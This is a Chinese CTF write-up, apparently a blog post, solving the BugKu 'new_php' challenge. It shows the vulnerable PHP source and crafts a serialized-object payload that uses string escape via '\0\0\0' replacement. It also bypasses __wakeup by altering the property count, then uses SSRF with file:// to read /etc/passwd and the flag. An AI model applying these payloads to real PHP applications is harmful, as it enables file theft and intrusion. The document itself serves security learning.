BugKu-new_php

对于web手来说,每天最快乐的事情就是做题了//doge


源码

<?php
// php版本:5.4.44
header("Content-type: text/html; charset=utf-8");
highlight_file(__FILE__);

class evil{//并未被调用
    public $hint;

    public function __construct($hint){
        $this->hint = $hint;
    }

    public function __destruct(){//利用点?
        if($this->hint==="hint.php")
            @$this->hint = base64_encode(file_get_contents($this->hint));
        var_dump($this->hint);
    }

    function __wakeup() {//需绕过
        if ($this->hint != "╭(●`∀´●)╯") {
            //There's a hint in ./hint.php
            $this->hint = "╰(●’◡’●)╮";
        }
    }
}

class User
{
    public $username;
    public $password;

    public function __construct($username, $password){
        $this->username = $username;
        $this->password = $password;
    }

}

function write($data){
    global $tmp;
    $data = str_replace(chr(0).'*'.chr(0), '\0\0\0', $data);
    $tmp = $data;
}

function read(){
    global $tmp;
    $data = $tmp;
    $r = str_replace('\0\0\0', chr(0).'*'.chr(0), $data);
    return $r;
}

$tmp = "test";
$username = $_POST['username'];
$password = $_POST['password'];

$a = serialize(new User($username, $password));
if(preg_match('/flag/is',$a))
    die("NoNoNo!");

unserialize(read(write($a)));

hint并未被调用,但是flag应该是在hint.php中

要想调用hint需要利用User类中的两个post方法

先生成hint序列化语句

<?php
class evil
{
    public $hint;

    public function __construct($hint)
    {
        $this->hint = $hint;
    }
}

$a=new evil('hint.php');
echo serialize($a);

//O:4:"evil":1:{s:4:"hint";s:8:"hint.php";}

正常来说User序列化生成的语句是这样的

O:4:"User":2:{s:8:"username";s:5:"admin";s:8:"password";s:6:"123456";}
//当username=admin&password=123456时所生成的语句

当password=O:4:"evil":1:{s:4:"hint";s:8:"hint.php";}时,就变成了

O:4:"User":2:{s:8:"username";s:5:"admin";s:8:"password";s:41:"O:4:"evil":1:{s:4:"hint";s:8:"hint.php";}";}
//username=admin&password=O:4:"evil":1:{s:4:"hint";s:8:"hint.php";}

但只是这样输出的话你放入的序列化语句并不会被执行,而只是当成普通的字符串

我们再看这里

function write($data){
    global $tmp;
    $data = str_replace(chr(0).'*'.chr(0), '\0\0\0', $data);
    $tmp = $data;
}

function read(){
    global $tmp;
    $data = $tmp;
    $r = str_replace('\0\0\0', chr(0).'*'.chr(0), $data);
    return $r;
}

....

unserialize(read(write($a)));

这里判断输入的字符串中是否存在\0\0\0,存在的话会将其替换为chr(0)*chr(0),然后又替换回来

这里让我联想到字符串逃逸,字符串逃逸漏洞是指在程序中由于未正确处理或过滤用户输入的特殊字符而导致的安全漏洞

在这里,当我输入'\0\0\0'的时候,正常情况下是这样的

O:4:"User":2:{s:8:"username";s:6:"\0\0\0";s:41:"O:4:"evil":1:{s:4:"hint";s:8:"hint.php";}";}
//username=/0/0/0&password=O:4:"evil":1:{s:4:"hint";s:8:"hint.php";}

由于在这里有给/0/0/0做过滤,所以就会变成

O:4:"User":2:{s:8:"username";s:6:" * ";s:8:"password";s:41:"O:4:"evil":1:{s:4:"hint";s:8:"hint.php";}";}

这就容易造成字符串逃逸

上面能够明显发现字符是减少的,所以我们只需要多加几个\0\0\0以确保我们传入的O:4:"evil":1:{s:4:"hint";s:8:"hint.php";}能够逃逸出去就行

也就是说,输入的\0\0\0要确保覆盖“;s:8:"password";s:41:"”

这样子序列化语句就变成了

这样就可以执行hint

刚刚上面有个错误

你password传入的值应该为:a";O:4:"evil":1:{s:4:"hint";s:8:"hint.php";}

这样后面的语句才会被看作是序列化语句

抓包尝试

..............

我给这茬忘了

 function __wakeup() {
        if ($this->hint != "╭(●`∀´●)╯") {
            //There's a hint in ./hint.php
            $this->hint = "╰(●’◡’●)╮";

绕过wakeup也很简单

我们把O:4:"evil":1:{s:4:"hint";s:8:"hint.php";}改成O:4:"evil":2:{s:4:"hint";s:8:"hint.php";}

ps:__wakeup的其他绕过方法可以参考这位师傅的文章:

绕过__wakeup() 反序列化 合集_wakeup绕过-CSDN博客文章浏览阅读955次。绕过__wakeup() 反序列化 合集_wakeup绕过https://blog.csdn.net/Jayjay___/article/details/132463913?spm=1018.2226.3001.9630.1&extra%5Btitle%5D=%E7%BB%95%E8%BF%87__wakeup%28%29%20%E5%8F%8D%E5%BA%8F%E5%88%97%E5%8C%96%20%E5%90%88%E9%9B%86&extra%5Butm_source%5D=vip_chatgpt_common_pc_toolbar&extra%5Butm_medium%5D=

我们继续

有意思了

访问index.cgi

..................................

有意思

这里用了name进行传参,由此联想到ssrf

尝试

ok,确定存在ssrf

接下来进行利用

估计是做了过滤,我们往file://前面加一个空格试试

因为passwd是linux系统都有的文件且目录固定,所以我一般喜欢去访问这个文件以判断可不可以被利用

ok,正常来说flag保存于根目录和网页同目录的可能性比较大

可以先做下爆破以判断flag的位置

很显然不在网页同目录下

看看根目录是否存在

成功拿到flag


能与诸位师傅们共同成长是我的荣幸

求赞求关注!!!!感谢!!!!

评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值